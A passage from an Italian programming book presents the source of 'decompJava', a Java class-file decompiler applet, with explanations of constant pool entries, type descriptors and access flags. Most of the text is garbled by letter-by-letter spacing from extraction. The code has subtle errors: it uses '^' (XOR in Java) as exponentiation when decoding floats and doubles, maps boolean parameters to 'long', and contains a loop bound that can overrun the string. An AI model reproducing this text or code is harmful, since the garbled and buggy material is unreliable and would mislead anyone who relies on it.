pr i vat e St r i ng anal i zeMet hods( St r i ng name, St r i ng ar gument s)
{
bool ean f l ag = t r ue;
i nt numEl e;
St r i ngBuf f er st r Ar g;
St r i ngBuf f er st r Buf = new St r i ngBuf f er ( ) ;
St r i ngBuf f er st r Ar g1 = new St r i ngBuf f er ( ) ;
St r i ngBuf f er t mp2 = new St r i ngBuf f er ( ) ;
St r i ngBuf f er t mp3 = new St r i ngBuf f er ( ) ;
St r i ng t mp = new St r i ng( ) ;
i nt i dx = 0;
whi l e( ar gument s. char At ( i dx) ! = ' ) ' && i dx <= ar gument s. l engt h( ) )
st r Ar g1. append( ar gument s. char At ( i dx++) ) ;

++i dx;
whi l e( i dx ! = ar gument s. l engt h( ) )
st r Buf . append( ar gument s. char At ( i dx++) ) ;
i dx = 0;
st r Ar g = new St r i ngBuf f er ( ) ;
whi l e( f l ag) {
swi t ch( st r Buf . char At ( i dx) )
{
case ' [ ' :
st r Ar g. append( " [ ] " ) ;
++i dx;
br eak;
case ' L' :
t mp = st r Buf . t oSt r i ng( ) ;
t mp = t mp. subst r i ng( 1) ;
t mp = r emoveSl ash( t mp) ;
t mp = ext r act Cl assName( t mp) ;
st r Ar g. append( t mp) ;
f l ag = f al se;
br eak;
case ' V' :
st r Ar g. append( " voi d" ) ;
f l ag = f al se;
br eak;
case ' B' :
st r Ar g. append( " byt e" ) ;
f l ag = f al se;
br eak;
case ' C' :
st r Ar g. append( " char " ) ;
f l ag = f al se;
br eak;
case ' D' :
st r Ar g. append( " doubl e" ) ;
f l ag = f al se;
br eak;
case ' F' :
st r Ar g. append( " f l oat " ) ;
f l ag = f al se;
br eak;
case ' I ' :
st r Ar g. append( " i nt " ) ;
f l ag = f al se;
br eak;
case ' J ' :
st r Ar g. append( " l ong " ) ;
f l ag = f al se;
br eak;
Pagina 421 di 991
case ' S' :
st r Ar g. append( " shor t " ) ;
f l ag = f al se;
br eak;
case ' Z' :
st r Ar g. append( " bool ean " ) ;
f l ag = f al se;
br eak;
}
}

st r Ar g. append( " " ) ;
i f ( name. equal s( " <i ni t >" ) | | name. equal s( " <cl i ni t >" ) )
st r Ar g. append( t hi sCl assName) ;
el se
st r Ar g. append( name) ;
i dx = 1;
t mp = st r Ar g1. t oSt r i ng( ) ;
st r Ar g. append( ' ( ' ) ;
numEl e = 0;
whi l e( i dx < t mp. l engt h( ) ) {
swi t ch( t mp. char At ( i dx) )
{
case ' V' :
i f ( numEl e > 0)
st r Ar g. append( " , " ) ;
st r Ar g. append( " voi d " ) ;
br eak;
case ' B' :
i f ( numEl e > 0)
st r Ar g. append( " , " ) ;
st r Ar g. append( " byt e " ) ;
br eak;
case ' C' :
i f ( numEl e > 0)
st r Ar g. append( " , " ) ;
st r Ar g. append( " char " ) ;
br eak;
case ' D' :
i f ( numEl e > 0)
st r Ar g. append( " , " ) ;
st r Ar g. append( " doubl e " ) ;
br eak;
case ' F' :
i f ( numEl e > 0)
st r Ar g. append( " , " ) ;
st r Ar g. append( " f l oat " ) ;
br eak;
case ' I ' :
i f ( numEl e > 0)
st r Ar g. append( " , " ) ;
st r Ar g. append( " i nt " ) ;
br eak;
case ' J ' :
i f ( numEl e > 0)
st r Ar g. append( " , " ) ;
st r Ar g. append( " l ong " ) ;
br eak;
case ' S' :
i f ( numEl e > 0)
st r Ar g. append( " , " ) ;
st r Ar g. append( " shor t " ) ;
br eak;
Pagina 422 di 991
case ' Z' :
i f ( numEl e > 0)
st r Ar g. append( " , " ) ;
st r Ar g. append( " l ong " ) ;
br eak;
case ' L' :
i f ( numEl e > 0)
st r Ar g. append( " , " ) ;
++i dx;
t mp2 = new St r i ngBuf f er ( ) ;

whi l e( t r ue) {
i f ( t mp. char At ( i dx) == ' ; ' )
br eak;
t mp2. append( t mp. char At ( i dx) ) ;
++i dx;
}
t mp3 = new
St r i ngBuf f er ( r emoveSl ash( t mp2. t oSt r i ng( ) ) ) ;
st r Ar g. append( ext r act Cl assName( t mp3. t oSt r i ng( ) ) ) ;

br eak;
}
++numEl e;
++i dx;
}
st r Ar g. append( " ) " ) ;
r et ur n ( st r Ar g. t oSt r i ng( ) ) ;
}


publ i c voi d r eadCl ass( St r i ng cl assName)
{
char c;
i nt byt eRead;
St r i ngBuf f er st r Buf ;
URL t mpURL = nul l ;
St r i ng msg;
St r i ng st r i nga;
i nt val ue;
i nt t ag;
shor t u21, u22;
i nt u41, u42;
f l oat f ;
doubl e d;
l ong l ;
i nt at t r i but e_name_i ndex;
i nt at t r i but e_code_l engt h;
i nt name_i ndex;
i nt access_f l ag;
i nt super _cl ass;
i nt t hi s_cl ass;
i nt i nt er f aces_count ;
i nt i dx;
i nt i dx1;
i nt i dx2;
i nt i dx3;
i nt name_at ;
i nt f i el ds_count ;
i nt f i el ds_access_f l ag;
i nt descr i pt or _i ndex;
i nt at t r i but e_count ;
i nt at t r i but e_l engt h;
Pagina 423 di 991
i nt met hods_count ;
i nt met hods_access_f l ag;
i nt l engt h_at t r i but e;
i nt at t r i but e_l en;
i nt sour ce_f i l e_i ndex;
St r i ng t mpSt r ;
t r y
{
cl assTabl e = new Vect or ( ) ;
i n = new RandomAccessFi l e( cl assName, " r " ) ;
t ext f i el d1. append( " \ n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - \ n" ) ;
t ext f i el d1. append( " J AVADECOMPI LER by F. BERNARDOTTI \ n" ) ;

t ext f i el d1. append( " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - \ n" ) ;
t ext f i el d1. append( " Fi l e name : " + cl assName+" \ n" ) ;
i n. ski pByt es( 8) ;

}
cat ch( Mal f or medURLExcept i on e) {}
cat ch( Fi l eNot FoundExcept i on e) {}
cat ch( I OExcept i on e) {}
t ext f i el d1. append( " \ nCr eat i ng const ant pool . . . \ n\ n" ) ;
t mp = new decompJ avaDat a( 0, ( shor t ) 0, ( shor t ) 0, 0, 0, nul l , 0. 0f ,
0. 0, 0L) ;
/ / Una usat a da J AVA VM
cl assTabl e. addEl ement ( t mp) ;
/ / e una usat a da me per f ar i ni zi ar e l ' i ndi ce a 1
cl assTabl e. addEl ement ( t mp) ;
byt eRead = 0;
f or ( i nt i ndex=1; i ndex ! = numConst ant Pool ; i ndex++) {
t ag = u41 = u42 = 0;
u21 = u22 = 0;
st r i nga = nul l ;
f = 0. 0f ;
d = 0. 0;
l = 0L;
t r y {
++byt eRead;
t ag = i n. r eadUnsi gnedByt e( ) & 0xf f ;
swi t ch( t ag) {
case CONSTANT_Cl ass:
byt eRead += 2;
/ / name_i ndex
u21 = ( shor t ) i n. r eadUnsi gnedShor t ( ) ;
br eak;
case CONSTANT_St r i ng:
byt eRead += 2;
/ / name_i ndex
u21 = ( shor t ) i n. r eadUnsi gnedShor t ( ) ;
br eak;
case CONSTANT_NameAndType:
case CONSTANT_Fi el dr ef :
case CONSTANT_Met hodr ef :
case CONSTANT_I nt er f aceMet hodr ef :
byt eRead += 4;
/ / Cl ass i ndex
u21 = ( shor t ) i n. r eadUnsi gnedShor t ( ) ;
/ / name_and_t ype
u22 = ( shor t ) i n. r eadUnsi gnedShor t ( ) ;
br eak;
case CONSTANT_I nt eger :
Pagina 424 di 991
byt eRead += 4;
val ue = i n. r eadUnsi gnedShor t ( ) ;
u41 = ( ( val ue << 16) + ( shor t )
i n. r eadUnsi gnedShor t ( ) ) ;
br eak;
case CONSTANT_Fl oat :
byt eRead += 4;
val ue = i n. r eadUnsi gnedShor t ( ) ;
u41 = ( ( val ue << 16) + ( shor t )
i n. r eadUnsi gnedShor t ( ) ) ;
i f ( u41 == 0x7f 800000)
/ / Posi t i ve i nf i ni t y
f = 1. 0f / 0. 0f ;
el se
i f ( u41 == 0xf f 800000)
/ / Negat i vi i nf i ni t y
f = - 1. 0f / 0. 0f ;
el se
i f ( ( u41 >= 0x7f 800000 && u41 <=
0x7f f f f f f f ) | | ( u41 >= 0xf f 800001 && u41 <= 0xf f f f f f f f ) )
/ / NaN ( Not ANumber )
f = 0. 0f / 0. 0f ;
el se {
i nt s = ( ( u41 >> 31) == 0) ? 1 :
- 1;
i nt e = ( ( u41 >> 23) & 0xf f ) ;
i nt m= ( e == 0) ? ( u41 &
0x7f f f f f ) << 1 : ( u41 & 0x7f f f f f ) | 0x800000;
f = ( f l oat ) ( ( f l oat ) s * ( f l oat ) m
* ( 2 ^ ( e - 150) ) ) ;
}

br eak;
case CONSTANT_Long:
byt eRead += 8;
u41 = i n. r eadI nt ( ) ;
u42 = i n. r eadI nt ( ) ;
l = ( ( l ong) u41 << 32) + u42;
br eak;
case CONSTANT_Doubl e:
byt eRead += 8;
u41 = i n. r eadI nt ( ) ;
u42 = i n. r eadI nt ( ) ;
l = ( ( l ong) u41 << 32) + u42;
i f ( l == 0x7f 80000000000000L)
/ / Posi t i ve i nf i ni t y
d = 1. 0/ 0. 0;
el se
i f ( l == 0xf f 80000000000000L)
/ / Negat i ve i nf i ni t y
d = - 1. 0/ 0. 0;
el se
i f ( ( l >= 0x7f f 0000000000001L && l <=
0x7f f f f f f f f f f f f f f f L ) | | ( l >= 0xf f f 0000000000001L && l <= 0xf f f f f f f f f f f f f f f f L) )
/ / NaN ( Not ANumber )
d = 0. 0/ 0. 0;
el se {
l ong s = ( ( l >> 63) == 0) ? 1 : -
1;
l ong e = ( ( l >> 52) & 0x7f f ) ;
l ong m= ( e == 0) ? ( l &
0xf f f f f f f f f f f f L) << 1 : ( l & 0xf f f f f f f f f f f f L) | 0x10000000000000L;
Pagina 425 di 991
d = ( doubl e) ( ( doubl e) s *
( doubl e) m* ( 2 ^ ( e - 1075) ) ) ;
}

br eak;
case CONSTANT_Ut f 8:
u21 = ( shor t ) i n. r eadUnsi gnedShor t ( ) ;
byt eRead += u21;
st r Buf = new St r i ngBuf f er ( u21) ;
f or ( i dx=0; i dx! =u21; i dx++) {
c = ( char ) i n. r eadByt e( ) ;
st r Buf . append( c) ;
}
st r i nga = new St r i ng( st r Buf . t oSt r i ng( ) ) ;
br eak;
}
} cat ch( I OExcept i on e) {}
t mp = new decompJ avaDat a( t ag, u21, u22, u41, u42, st r i nga, f ,
d, l ) ;
cl assTabl e. addEl ement ( t mp) ;
}
t r y {
st r Buf = new St r i ngBuf f er ( ) ;
access_f l ag = i n. r eadUnsi gnedShor t ( ) ;
i f ( ( access_f l ag & 0x0001) == 0x0001)
st r Buf . append( " publ i c " ) ;
i f ( ( access_f l ag & 0x0010) == 0x0010)
st r Buf . append( " f i nal " ) ;
i f ( ( access_f l ag & 0x0020) == 0x0020)
st r Buf . append( " cl ass " ) ;
i f ( ( access_f l ag & 0x0200) == 0x0200)
st r Buf . append( " i nt er f ace " ) ;
i f ( ( access_f l ag & 0x0400) == 0x0400)
st r Buf . append( " abst r act " ) ;
t hi s_cl ass = i n. r eadUnsi gnedShor t ( ) ;
t mp = ( decompJ avaDat a) cl assTabl e. el ement At ( t hi s_cl ass) ;
t hi sCl assName = new St r i ng( t mp. st r ) ;
st r Buf . append( t hi sCl assName) ;
t ext f i el d1. append( st r Buf . t oSt r i ng( ) ) ;
super _cl ass = i n. r eadUnsi gnedShor t ( ) ;
i f ( super _cl ass ! = 0) {
t mp = ( decompJ avaDat a)
cl assTabl e. el ement At ( super _cl ass) ;
t ext f i el d1. append( " ext ends " ) ;
t mpSt r = r emoveSl ash( t mp. st r ) ;
t ext f i el d1. append( ext r act Cl assName( t mpSt r ) ) ;
}

i nt er f aces_count = i n. r eadUnsi gnedShor t ( ) ;
i f ( i nt er f aces_count ! = 0) {
t ext f i el d1. append( " i mpl ement s " ) ;
f or ( i dx = 0; i dx ! = i nt er f aces_count ; i dx++) {
name_at = i n. r eadUnsi gnedShor t ( ) ;
t mp = ( decompJ avaDat a)
cl assTabl e. el ement At ( name_at ) ;
i f ( i dx > 0) {
t ext f i el d1. append( " , " ) ;
}
t mpSt r = r emoveSl ash( t mp. st r ) ;
t ext f i el d1. append( ext r act Cl assName( t mpSt r ) ) ;
}
t ext f i el d1. append( " \ n{\ n" ) ;
}
Pagina 426 di 991

t ext f i el d1. append( " \ n/ / - - - - - - - - - - - - - - - - - - - - - \ n/ /
Var i abl e( s) \ n/ / - - - - - - - - - - - - - - - - - - - - - \ n\ n" ) ;

f i el ds_count = i n. r eadUnsi gnedShor t ( ) ;

i f ( f i el ds_count > 0) {
f or ( i dx=0; i dx! =f i el ds_count ; i dx++) {

f i el ds_access_f l ag = i n. r eadUnsi gnedShor t ( ) ;
t ext f i el d1. append( " \ t " ) ;

i f ( ( f i el ds_access_f l ag & 0x0001) == 0x0001)
t ext f i el d1. append( " publ i c " ) ;
i f ( ( f i el ds_access_f l ag & 0x0002) == 0x0002)
t ext f i el d1. append( " pr i vat e " ) ;
i f ( ( f i el ds_access_f l ag & 0x0004) == 0x0004)
t ext f i el d1. append( " pr ot ect ed " ) ;
i f ( ( f i el ds_access_f l ag & 0x0008) == 0x0008)
t ext f i el d1. append( " st at i c " ) ;
i f ( ( f i el ds_access_f l ag & 0x0010) == 0x0010)
t ext f i el d1. append( " f i nal " ) ;
i f ( ( f i el ds_access_f l ag & 0x0040) == 0x00040)
t ext f i el d1. append( " vol at i l e " ) ;
i f ( ( f i el ds_access_f l ag & 0x0080) == 0x0080)
t ext f i el d1. append( " t r ansi ent " ) ;

name_i ndex = i n. r eadUnsi gnedShor t ( ) ;
descr i pt or _i ndex = i n. r eadUnsi gnedShor t ( ) ;

t mp = ( decompJ avaDat a)
cl assTabl e. el ement At ( descr i pt or _i ndex+1) ;
t mpSt r = new
St r i ng( r emoveSl ash( anal i zeSt r i ng( t mp. st r ) ) ) ;
t ext f i el d1. append( ext r act Cl assName( t mpSt r ) ) ;

t mp = ( decompJ avaDat a)
cl assTabl e. el ement At ( name_i ndex+1) ;
t ext f i el d1. append( " " + t mp. st r +" ; " ) ;

at t r i but e_count = i n. r eadUnsi gnedShor t ( ) ;
i f ( at t r i but e_count > 0) {
f or ( i dx1=0; i dx1! =at t r i but e_count ; i dx1++) {
at t r i but e_name_i ndex =
i n. r eadUnsi gnedShor t ( ) ;
t mp = ( decompJ avaDat a)
cl assTabl e. el ement At ( name_i ndex) ;
t ext f i el d1. append( t mp. st r ) ;
at t r i but e_l engt h = i n. r eadI nt ( ) ;
st r Buf = new
St r i ngBuf f er ( at t r i but e_l engt h) ;

f or ( i dx2=0; i dx2! =at t r i but e_l engt h; i dx2++) {
c = ( char ) i n. r eadByt e( ) ;
st r Buf . append( c) ;
}
st r i nga = new
St r i ng( st r Buf . t oSt r i ng( ) ) ;
t ext f i el d1. append( st r i nga) ;
}

}
t ext f i el d1. append( " \ n" ) ;
Pagina 427 di 991
}
}

t ext f i el d1. append( " \ n/ / - - - - - - - - - - - - - - - - - - - - - \ n/ /
Met hod( s) \ n/ / - - - - - - - - - - - - - - - - - - - - - \ n\ n" ) ;

met hods_count = i n. r eadUnsi gnedShor t ( ) ;

i f ( met hods_count > 0) {
f or ( i dx1=0; i dx1! =met hods_count ; i dx1++) {

met hods_access_f l ag = i n. r eadUnsi gnedShor t ( ) ;

t ext f i el d1. append( " \ t " ) ;
i f ( ( met hods_access_f l ag & 0x0001) == 0x0001)
t ext f i el d1. append( " publ i c " ) ;
i f ( ( met hods_access_f l ag & 0x0002) == 0x0002)
t ext f i el d1. append( " pr i vat e " ) ;
i f ( ( met hods_access_f l ag & 0x0004) == 0x0004)
t ext f i el d1. append( " pr ot ect ed " ) ;
i f ( ( met hods_access_f l ag & 0x0008) == 0x0008)
t ext f i el d1. append( " st at i c " ) ;
i f ( ( met hods_access_f l ag & 0x0010) == 0x0010)
t ext f i el d1. append( " f i nal " ) ;
i f ( ( met hods_access_f l ag & 0x0020) == 0x0020)
t ext f i el d1. append( " synchr oni zed " ) ;
i f ( ( met hods_access_f l ag & 0x0100) == 0x0100)
t ext f i el d1. append( " nat i ve " ) ;
i f ( ( met hods_access_f l ag & 0x0400) == 0x0400)
t ext f i el d1. append( " abst r act " ) ;

name_i ndex = i n. r eadUnsi gnedShor t ( ) ;
descr i pt or _i ndex = i n. r eadUnsi gnedShor t ( ) ;

t mp = ( decompJ avaDat a)
cl assTabl e. el ement At ( descr i pt or _i ndex+1) ;

t mpSt r = new
St r i ng( r emoveSl ash( anal i zeSt r i ng( t mp. st r ) ) ) ;
t mpSt r = t mp. st r ;
t mp = ( decompJ avaDat a)
cl assTabl e. el ement At ( name_i ndex+1) ;
t mpSt r = anal i zeMet hods( t mp. st r , t mpSt r ) ;

t ext f i el d1. append( t mpSt r ) ;

at t r i but e_count = i n. r eadUnsi gnedShor t ( ) ;
i f ( at t r i but e_count > 0) {
f or ( i dx2=0; i dx2! =at t r i but e_count ; i dx2++) {
at t r i but e_name_i ndex =
i n. r eadUnsi gnedShor t ( ) ;
t mp = ( decompJ avaDat a)
cl assTabl e. el ement At ( at t r i but e_name_i ndex+1) ;
l engt h_at t r i but e = i n. r eadI nt ( ) ;
i n. ski pByt es( l engt h_at t r i but e) ;
}
}
t ext f i el d1. append( " {}\ n" ) ;
}
}

at t r i but e_count = i n. r eadUnsi gnedShor t ( ) ;

Pagina 428 di 991
i f ( at t r i but e_count > 0) {
f or ( i dx2=0; i dx2! =at t r i but e_count ; i dx2++) {
at t r i but e_name_i ndex = i n. r eadUnsi gnedShor t ( ) ;
t mp = ( decompJ avaDat a)
cl assTabl e. el ement At ( at t r i but e_name_i ndex+1) ;
at t r i but e_l en = i n. r eadUnsi gnedShor t ( ) ;
sour ce_f i l e_i ndex = i n. r eadUnsi gnedShor t ( ) ;
t mp = ( decompJ avaDat a)
cl assTabl e. el ement At ( sour ce_f i l e_i ndex+1) ;
}
}

} cat ch( I OExcept i on e) {}

t ext f i el d1. append( " \ n}\ n" ) ;

t r y {
i n. cl ose( ) ;
}
cat ch( I OExcept i on e) {}
}

publ i c voi d act i onPer f or med( Act i onEvent e)
{
St r i ng choi ceSt r i ng;
St r i ng sel ect ed = e. get Act i onCommand( ) ;
i f ( sel ect ed. equal s( " Leggi " ) ) {
St r i ng cl assName = cl asse. get Text ( ) ;
i f ( cl assName. l engt h( ) > 0)
r eadCl ass( cl assName) ;
}
}

publ i c voi d wi ndowAct i vat ed( Wi ndowEvent event ) {}
publ i c voi d wi ndowCl osed( Wi ndowEvent event ) {}
publ i c voi d wi ndowCl osi ng( Wi ndowEvent event ) { di spose( ) ; }
publ i c voi d wi ndowDeact i vat ed( Wi ndowEvent event ) {}
publ i c voi d wi ndowDei coni f i ed( Wi ndowEvent event ) {}
publ i c voi d wi ndowI coni f i ed( Wi ndowEvent event ) {}
publ i c voi d wi ndowOpened( Wi ndowEvent event ) {}

}

publ i c cl ass decompJ ava ext ends Appl et
{
pr i vat e bool ean m_f St andAl one = f al se;
pr i vat e St r i ng m_cl assf i l e = " " ;
pr i vat e f i nal St r i ng PARAM_cl assf i l e = " cl assf i l e" ;

St r i ng Get Par amet er ( St r i ng st r Name, St r i ng[ ] ar gs)
{
i f ( ar gs == nul l )
{
r et ur n get Par amet er ( st r Name) ;
}

i nt i ;
St r i ng st r Ar g = st r Name + " =" ;
St r i ng st r Val ue = nul l ;
i nt nLengt h = st r Ar g. l engt h( ) ;

t r y
{
Pagina 429 di 991
f or ( i = 0; i < ar gs. l engt h; i ++)
{
St r i ng st r Par am= ar gs[ i ] . subst r i ng( 0, nLengt h) ;

i f ( st r Ar g. equal sI gnor eCase( st r Par am) )
{
st r Val ue = ar gs[ i ] . subst r i ng( nLengt h) ;
i f ( st r Val ue. st ar t sWi t h( " \ " " ) )
{
st r Val ue = st r Val ue. subst r i ng( 1) ;
i f ( st r Val ue. endsWi t h( " \ " " ) )
st r Val ue = st r Val ue. subst r i ng( 0,
st r Val ue. l engt h( ) - 1) ;
}
br eak;
}
}
}
cat ch ( Except i on e) {}

r et ur n st r Val ue;
}

voi d Get Par amet er s( St r i ng[ ] ar gs)
{
St r i ng par am;

par am= Get Par amet er ( PARAM_cl assf i l e, ar gs) ;
i f ( par am! = nul l )
m_cl assf i l e = par am;

}

publ i c st at i c voi d mai n( St r i ng[ ] ar gs)
{
decompJ avaFr ame f r ame = new decompJ avaFr ame( ) ;
decompJ ava appl et _decompJ ava = new decompJ ava( ) ;
f r ame. add( " Cent er " , appl et _decompJ ava) ;
appl et _decompJ ava. m_f St andAl one = t r ue;
appl et _decompJ ava. Get Par amet er s( ar gs) ;
appl et _decompJ ava. i ni t ( ) ;
f r ame. set Vi si bl e( t r ue) ;
f r ame. set Si ze( 500, 330) ;
}

publ i c St r i ng get Appl et I nf o( )
{
r et ur n " Name: decompJ ava\ r \ n" +
" Aut hor : Fl avi o Ber nar dot t i . \ r \ n" +
" Cr eat ed wi t h Mi cr osof t Vi sual J ++ Ver si on 1. 1" ;
}

publ i c St r i ng[ ] [ ] get Par amet er I nf o( )
{
St r i ng[ ] [ ] i nf o =
{
{ PARAM_cl assf i l e, " St r i ng" , " Par amet er descr i pt i on" },
};
r et ur n i nf o;
}

publ i c voi d i ni t ( )
{
Pagina 430 di 991
i f ( ! m_f St andAl one)
Get Par amet er s( nul l ) ;
}
}

Er avamo r i mast i al magi c number e al l a ver si one del compi l at or e.
I l val or e successi vo da l egger e e quel l o che r appr esent a i l numer o del l e voci
del l a CPT.
L el ement o 0 vi ene ut i l i zzat o dal l a macchi na vi r t ual e J ava per cui i l pr i mo
el ement o da noi i nser i t o avr a come i ndi ce 1.
I l numer o degl i el ement i ci ser vi r a a l egger e un numer o di st r ut t ur e a
l unghezza var i abi l e r appr esent at e come segue :

cp_info {
u1 tag;
u1 info[];
}

I l pr i mo val or e r appr esent a l a t i pol ogi a del l a voce e pr eci sament e :


CONSTANT_Class 7
CONSTANT_Fieldref 9
CONSTANT_Methodref 10
CONSTANT_InterfaceMethodref 11
CONSTANT_String 8
CONSTANT_Integer 3
CONSTANT_Float 4
CONSTANT_Long 5
CONSTANT_Double 6
CONSTANT_NameAndType 12
CONSTANT_Utf8 1

U1 i nf o[ ] assume una st r ut t ur a di ver sa a seconda del t ag.
La par t e del codi ce che si i nt er essa di cr ear e l e voci e quel l a che i ni zi a con:

for(int index=1;index != numConstantPool;index++) {

tag = u41 = u42 = 0;
u21 = u22 = 0;
stringa = null;
f = 0.0f;
d = 0.0;
l = 0L;

try {

++byteRead;

tag = in.readUnsignedByte() & 0xff;

switch(tag) {
case CONSTANT_Class:
byteRead += 2;


Nel case di un t ag di t i po CONSTANT_Cl ass l a st r ut t ur a e

CONSTANT_Class_info {
u1 tag;
u2 name_index;
}

Pagina 431 di 991
Dove t r ovat e name_i ndex si gni f i ca che i l r i f er i ment o al numer o di el ement o
del l a CPT dove si t r ova l a speci f i ca.
La r appr esent azi one e par t i col ar e.
Le t i pol ogi e dei dat i sono :

B byte signed byte
C char character
D double double-precision IEEE 754 float
F float single-precision IEEE 754 float
I int integer
J long long integer
L<classname>; ... an instance of the class
S short signed short
Z boolean true or false
[ ... one array dimension

Gl i ar r ay vengono r appr esent at i come segue.
Ad esempi o

Double d[][][] [[[D

Oppur e un r i f er i ment o ad una cl asse del t i po

J ava. awt . St r i ng Lj ava/ awt / St r i ng;

Le f unzi oni anal i zeSt r i ng( ) anal i zeMet hods( ) ser vono appunt o a r i por t ar e a
f or mat o nor mal e t al i not azi oni .
Le st r ut t ur e dei t ag CONSTANT_Fi el dr ef , CONSTANT_Met hodr ef e
CONSTANT_I nt er f aceMet hodr ef possi edono l a seguent e st r ut t ur a :


CONSTANT_Fieldref_info {
u1 tag;
u2 class_index;
u2 name_and_type_index;
}


CONSTANT_Methodref_info {
u1 tag;
u2 class_index;
u2 name_and_type_index;
}


CONSTANT_InterfaceMethodref_info {
u1 tag;
u2 class_index;
u2 name_and_type_index;
}

cl ass_i ndex e name_and_t ype_i ndex r appr esent ano sempr e gl i i ndi ci d accesso
al l a CPT.
Un al t r o t ag e dat o da CONSTANT_St r i ng che e ut i l i zzat o per r appr esent ar e gl i
ogget t i di t i po j ava. l ang. St r i ng

CONSTANT_String_info {
u1 tag;
u2 string_index;
}

I t ag CONSTANT_I nt eger e CONSTANT_Fl oat ut i l i zzano i nvece l a seguent e st r ut t ur a.

Pagina 432 di 991

CONSTANT_Integer_info {
u1 tag;
u4 bytes;
}


CONSTANT_Float_info {
u1 tag;
u4 bytes;
}

Dove nel caso del l i nt er o u4 e i l val or e.
Nel caso del f l oat assume i seguent i val or i .

Se l ar goment o e 0x7f 800000 , i l val or e del f l oat e un i nf i ni t o posi t i vo.
Se i l val or e e 0xf f 800000 , i l f l oat e un i nf i ni t o negat i vo.
Se l ar goment o e compr eso t r a 0x7f 800001 e 0x7f f f f f f f oppur e t r a
0xf f 800001 e 0xf f f f f f f f , i l val or e e un Nan.
Negl i al t r i casi

int s = ((bytes >> 31) == 0) ? 1 : -1;
int e = ((bytes >> 23) & 0xff);
int m = (e == 0) ?
(bytes & 0x7fffff) << 1 :
(bytes & 0x7fffff) | 0x800000;


I l val or e vi ene dat o da S * M * 2 ^ ( E 150)

Nei casi di un CONSTANT_Long e un CONSTANT_Doubl e i l di scor so e un po come i l
pr ecedent e

CONSTANT_Long_info {
u1 tag;
u4 high_bytes;
u4 low_bytes;
}


CONSTANT_Double_info {
u1 tag;
u4 high_bytes;
u4 low_bytes;
}

Nel caso di un doubl e i l val or e vi ene dat o da

Se l ar goment o e 0x7f 80000000000000L, i l val or e del f l oat e un i nf i ni t o
posi t i vo.
Se i l val or e e 0xf f 80000000000000L , i l f l oat e un i nf i ni t o negat i vo.
Se l ar goment o e compr eso t r a 0x7f f 0000000000001L e 0x7f f f f f f f f f f f f f f f L
oppur e t r a 0xf f f 0000000000001L e 0xf f f f f f f f f f f f f f f f L , i l val or e e un Nan.
Negl i al t r i casi

int s = ((bits >> 63) == 0) ? 1 : -1;
int e = (int)((bits >> 52) & 0x7ffL);
long m = (e == 0) ?
(bits & 0xfffffffffffffL) << 1 :
(bits & 0xfffffffffffffL) | 0x10000000000000L;

I l val or e vi ene dat o da S * M * 2 ^ ( E 1075)

Pagina 433 di 991
Nel caso di un CONSTANT_NameANdType l a st r ut t ur a sar a :

CONSTANT_NameAndType_info {
u1 tag;
u2 name_index;
u2 descriptor_index;
}

I val or i name_i ndex e descr i pt or _i ndex sono sempr e i ndi ci nel l a CPT.
CONSTANT_Ut f 8 r appr esent a l e st r i nghe r el at i ve ai nomi dei met hodi , al l e
var i abi l i ecc.
Gr azi e al suo met odo di t r at t ament o r i esce con un byt e a r appr esent ar e car at t er i
f i no a 16 bi t s.
Da 0x01 a 0x7F sono ut i l i zzat i gl i 8 bi t s
I car at t er i da 0x80 a 07f f i nvece usano una par t e x e una y per l a
r appr esent azi one.

X 1 1 1 0 bits 6-10
Y 1 0 bits 0-5

I byt es r appr esent ano i l car t t er e con i l cal col o ( ( X & 0x1f ) << 6) + ( Y & 0x3f )
I car at t er i da 0x800 a 0xf f f f i nvece sono r appr esent at i con :

x: 1 1 1 0 bits 12-15
y: 1 0 bits 6-11 z: 1 0 bits 0-5

I l cal col o sar a ( ( x & 0xf ) << 12 ) + ( ( y & 0x3f ) << 6 ) + ( z & 0x3f )

L access_f l ag i nvece e l a mascher a da cui si r i cavano gl i at t r i but i del l a
cl asse.

Fl ag Name Val ue Meani ng Used By
ACC_PUBLI C 0x0001 I s publ i c; may be
accessed f r om
out si de i t s
package. Cl ass,
i nt er f ace
ACC_FI NAL 0x0010 I s f i nal ; no
subcl asses al l owed.
Cl ass
ACC_SUPER 0x0020 Tr eat super cl ass
met hods speci al l y
i n i nvokespeci al .
Cl ass, i nt er f ace
ACC_I NTERFACE 0x0200 I s an i nt er f ace.
I nt er f ace
ACC_ABSTRACT 0x0400 I s abst r act ; may
not be
i nst ant i at ed.
Cl ass, i nt er f ace

Thi s_cl ass r appr esent a l i ndi ce nel l a CPT da cui si r i cava i l nome del l a
cl asse.
Super _cl ass e l i ndi ce nel l a CPT da cui si r i cava i l nome del l a super cl asse,
i n pr at i ca l ext ends ut i l i zzat o ( se ut i l i zzat o) .
I nt er f aces_count i nvece e i l numer o del l e i nt er f acce.
Medi ant e quest o numer o si esegui r anno N l et t ur e ognuna del l e qual i r est i t ur a i l
numer o di un i ngr esso nel l a CPT da cui r i cavar e i var i i mpl ement s.
Ri vedi amo i l codi ce

this_class = in.readUnsignedShort();
tmp = (decompJavaData) classTable.elementAt(this_class);
Pagina 434 di 991

thisClassName = new String(tmp.str);
strBuf.append(thisClassName);
textfield1.append(strBuf.toString());

super_class = in.readUnsignedShort();
if(super_class != 0) {
tmp = (decompJavaData) classTable.elementAt(super_class);
textfield1.append(" extends ");
tmpStr = removeSlash(tmp.str);
textfield1.append(extractClassName(tmpStr));
}

interfaces_count = in.readUnsignedShort();
if(interfaces_count != 0) {
textfield1.append(" implements ");
for(idx = 0; idx != interfaces_count;idx++) {
name_at = in.readUnsignedShort();
tmp = (decompJavaData) classTable.elementAt(name_at);
if(idx > 0) {
textfield1.append(", ");
}
tmpStr = removeSlash(tmp.str);
textfield1.append(extractClassName(tmpStr));
}
textfield1.append("\n{\n");
}

Come si puo veder e t hi s_cl ass l egge i l numer o d i ngr esso nel l a CPT e l o l egge.
Successi vament e l egge supr _cl ass e va a r i cavar e i l nome del l ext ends.
A seconda del numer o d i nt er f acce, i nt er f aces_count , esegue N l et t ur e e dopo
aver r eper i t o i l nome nel l a CPT l o appende dopo l a st r i nga i mpl ement s.
Lo st esso di scor so val e per l a par t e che segue r el at i vo al l e var i abi l i .
I l campo f i el ds_count di ce quant i i ngr essi l egat i a a var i abi l i sono pr esent i
nel f i l e . cl ass
Per ogni i ngr esso si dovr anno l egger e i seguent i dat i r appr esent at i dal l a
st r ut t ur a :

field_info {
u2 access_flags;
u2 name_index;
u2 descriptor_index;
